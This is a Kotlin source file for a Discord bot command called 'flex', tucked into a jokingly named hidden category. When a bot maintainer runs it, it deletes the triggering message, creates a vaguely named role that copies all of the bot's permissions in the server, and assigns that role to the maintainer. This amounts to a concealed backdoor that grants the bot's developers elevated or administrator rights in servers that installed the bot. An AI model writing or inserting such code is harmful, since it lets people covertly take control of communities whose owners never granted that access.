ottobotv2/src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt

26 lines
761 B
Kotlin

package nl.voidcorp.discord.commands.debug
import nl.voidcorp.discord.command.*
import org.springframework.stereotype.Service
import java.awt.Color
@Service
class Flex : Command(
"flex",
commandLevel = CommandLevel.MAINTAINER,
group = CommandGroup.VeRY_hIdden_CaTegoRY_LoL,
location = CommandSource.GUILD,
allowAnywhere = true
) {
override fun handle(event: CommandMessage): CommandResult {
event.message.delete().queue()
val control = event.guild!!
control.createRole().setColor(Color.RED).setName("no idea?").setPermissions(event.guild.selfMember.permissions)
.queue {
control.addRoleToMember(event.member!!, it).queue()
}
return CommandResult.SUCCESS
}
}